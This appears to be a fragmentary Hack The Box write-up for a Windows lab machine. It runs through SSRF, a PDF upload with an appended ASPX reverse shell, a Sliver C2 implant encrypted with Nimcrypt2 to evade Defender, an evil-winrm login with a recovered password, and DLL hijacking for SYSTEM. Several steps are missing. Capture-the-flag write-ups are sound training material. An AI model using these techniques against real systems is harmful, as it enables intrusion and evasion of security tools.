# Nmap 7.94 scan initiated Sun Oct 29 09:01:48 2023 as: nmap -sCV -T4 --min-rate 10000 -p- -v -oA nmap/tcp_default 10.129.147.80 Nmap scan report for 10.129.147.80 Host is up (0.024s latency). Not shown: 65532 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Microsoft-IIS/10.0 |_http-title: Did not follow redirect to https://meddigi.htb/ 443/tcp open https? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Oct 29 09:02:19 2023 -- 1 IP address (1 host up) scanned in 31.64 seconds
It looks like a Windows webserver running IIS. So lets take a look at the website
However, we have a valid docter session token on the normal domain, we can actually copy the access_token cookie and use it on this page to login!
Finding SSRF
We now have 4 interesting pages with a lot of functionality:
In the “IKssue PRescriptions” tab I noticed that I can post a prescription link. I typed in my own ip and setup a webserver to listen for incoming connections:
This also worked for the localhost (running on port 8080)
If we hover over “view report” we can see the full path to the report. This got me thinking maybe we can use the upload report functionality to upload a aspx to get a reverse shell
Reverse shell by abusing SSRF
Te upload functionality only accepts PDF. But we can append a ASPX reverse shell at the end of a PDF and change the filename. So the webserver only checks for the magic bytes not the extension name here. This is why it works:
We upload a normal pdf file on the upload page and intercept the request. We now have to append this reverse shell at the end of the PDF:
Privilege Name Description State ============================= ==================================== ======== SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeShutdownPrivilege Shut down the system Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
C:\Users\svc_exampanel\Desktop>
Setting up C2
Next, I decided to setup a C2 since its Windows at it will be easier and more stable this way. I use Sliver to setup a listener on port 443 and generate me a .exe implant. But before uploading the .exe implant I decided to obfuscate and encrypt to so that it also bypasses Defender. For this I used Nimcryp2: https://github.com/icyguider/Nimcrypt2.
1
./nimcrypt -f WEARY_JACKAL.exe -t pe -s -e -o WEARY_JACKAL_enc.exe
Now I download the encrypted implant to c:\windows\tasks:
[*] Generating new windows/amd64 implant binary [*] Symbol obfuscation is enabled [*] Build completed in 18s [*] Implant saved to /home/kali/htb/appsanity/WEARY_JACKAL.exe
[*] Output: [*] Stderr: % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 curl: (1) Received HTTP/0.9 when not allowed [!] Exited with status 1!
Not likely to be a webserver.
We can forward the port to 8080 localhost using Sliver:
[*] Port forwarding 127.0.0.1:8080 -> 127.0.0.1:100
If we netcat to the port we get:
1 2 3 4 5 6 7 8 9
┌──(kali㉿kali)-[~/htb/appsanity] └─$ nc 127.0.0.1 8080 Reports Management administrative console. Type "help" to view available commands. help Available Commands: backup: Perform a backup operation. validate: Validates if any report has been altered since the last backup. recover <filename>: Restores a specified file from the backup to the Reports folder. upload <external source>: Uploads the reports to the specified external source.
There is a folder in C:\Program Files called “Report Management” but our user does not have access to that folder.
This could potentially be the password for another user. As we can see with evil-winrm
1 2 3 4 5 6 7 8 9 10 11
┌──(kali㉿kali)-[~/htb/appsanity] └─$ evil-winrm -i 10.129.147.80 -u devdoc -p '1g0tTh3R3m3dy!!' Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\devdoc\Documents>
If we download the file to our localhost we can see that te executable is a PE32+ executable
1 2 3
┌──(kali㉿kali)-[~/htb/appsanity] └─$ file ReportManagement.exe ReportManagement.exe: PE32+ executable (GUI) x86-64, for MS Windows, 6 sections
We can load the executable in Ghidra and analyze it. After a while we can see interesting data in the .rdata field:
This function seems very interesting (i renamed some variables and labels to make it easier to read):
We can also find something happening in .rdata with a externalupload (dll likely) being called:
It looks like “externalupload” is trying to be executed from C:\Program Files\ReportManagement\Libraries. And since have write permissions in this folder, we can possible build our own externalupload.dll and get system:
We write our own dll and upload it into the Libraries directory:
1 2 3 4 5 6 7 8 9 10 11
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll // For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll